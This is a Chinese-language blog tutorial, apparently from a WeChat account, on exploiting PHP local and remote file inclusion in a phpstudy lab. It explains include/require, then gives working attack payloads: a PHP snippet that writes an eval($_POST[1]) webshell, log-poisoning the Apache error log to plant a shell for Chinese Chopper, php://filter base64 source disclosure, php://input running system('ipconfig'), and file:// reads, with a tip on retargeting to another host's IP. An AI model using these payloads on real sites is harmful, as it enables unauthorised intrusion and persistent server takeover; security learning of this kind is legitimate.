文件包含漏洞


1.什么是文件包含漏洞?

      文件包含漏洞:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件。

      出现原因:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

2.PHP文件包含的几个函数:

  include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

  include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

  require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  Require和include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。

3.文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含

4.本地包含:

    案例:

      1.编写一个php文件与一个txt文件

        

        

        把他们同时放在一个文件下,这里以 phpstudy为例 放在WWW/下

      

       2.打开浏览器,进行本地包含测试

          

      3.包含成功,显示(2.txt)中文件。接下来扩展可以上传一句话木马。那shell权限。

      4.包含一个百度:

          

    5.目标机器本地包含:

          

5.远程包含

    案例:

      

    1.能访问目标主机

    2.对面开启远程包含:

        phpstudy 为例: 其他选项菜单->PHP扩展及设置->参数开关设置->allow_url_include(在最下面)

6.利用错误日志获取shell

      phpstudy 为例:当访问错误时会被存放到错误日志当中,借助错误日志插入一句话木马。

      phpstudy 日志位置:/phpstudy/apache/logs/error.log

      利用burp 抓包修改错误信息:

          

      修改之后在错误日志中可以看到,或者使用文件包含查看

        

  

      然后使用菜刀连接即可。

          以下实验均是使用phpstudy为例,有文件包含漏洞为前提。

7.使用包含漏洞直接向对方写一个shell

     (1).在自己网站目录下写一个php文件,内容如下:

          <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
          ?>

      fputs函数 :fputs() 函数将内容写入一个打开的文件中。(可安全用于二进制文件)。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

      fopen 函数:当使用 fopen() 函数打开一个文件时,如果文件不存在,则会尝试创建该文件,并返回一个资源。

      'w' ::写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

      <?php eval($_POST[1]);?> :为一句话木马,使用POST方法,[1]为参数,用于菜刀连接的密码也是。

      (2).因为有文件包含漏洞,可以把这样一个文件直接写入进去。

          

      (3).如上图所示,使用包含漏洞把本地的一个文件写入进去了。接下来测试能否访问

            

        把phpinfo页面显示 赋值给参数1,可发现可以访问。接下来就可以直接菜刀获取shell。

        注释:个人实验证明,对目标主机采用时,需要把最开始的10.3.0.24换成目标ip,不过需要目标主机目录下存放一个上述的php文件,然后才可以本地调用。

8.使用文件包含漏洞直接读取文件内容

        案例:

          代码:127.0.0.1:8024/1.php?page=php://filter/read=convert.base64-encode/resource=1.php

             resource=<要过滤的数据流> :指定了你要筛选过滤的数据流

             read = <读链的筛选列表> : 可以设定一个或多个过滤名称,以管道符 | 分隔   

          

          使用base64去访问文件内容。使用base64解码即可。可看我python中的加密解密那个博客哦。

          为啥要用base64:

            base64此编码方式可以让中文字或者图片也能在网路上顺利传输。在 BASE64 编码后的字串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字元,不包含其它特殊的字元,因而才取名 BASE64。编码后的字串比原来的字串 长度再加 1/3 左右。 此外应该还有一个 ROT 13 可以使用。

9.使用文件包含漏洞直接使用系统命令

        案例:

          代码:127.0.0.1:8024/1.php?page=php://input <?php system('ipconfig')?> 注释:使用POST方法

          

          因为可以使用系统命令,所有就可以使用系统命令在本地创建一个shell文件,然后使用菜刀去连接。

          代码:127.0.0.1:8024/1.php?page=php://input 使用POST方法

                <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
                ?>

10.使用文件包含漏洞直接查看文件内容

        案例:

            代码:127.0.0.1:8024/1.php?page=file://D:/phpstudy/www/2.txt (D:/phpstudy/www/2.txt)文件路径

            

          

优质内容筛选与推荐>>
1、特斯拉与NTSB在致命的ModelX撞车事故调查中发生冲突
2、三星1万亿元重金下注,推动AI、5G、半导体等项目的研究
3、Tensorflow实战:Discuz验证码识别
4、LruCacahe在美团DSP系统中的应用演进
5、物体计数--LearningToCountObjectsinImages


长按二维码向我转账

受苹果公司新规定影响,微信 iOS 版的赞赏功能被关闭,可通过二维码转账支持公众号。

    阅读
    好看
    已推荐到看一看
    你的朋友可以在“发现”-“看一看”看到你认为好看的文章。
    已取消,“好看”想法已同步删除
    已推荐到看一看 和朋友分享想法
    最多200字,当前共 发送

    已发送

    朋友将在看一看看到

    确定
    分享你的想法...
    取消

    分享想法到看一看

    确定
    最多200字,当前共

    发送中

    网络异常,请稍后重试

    微信扫一扫
    关注该公众号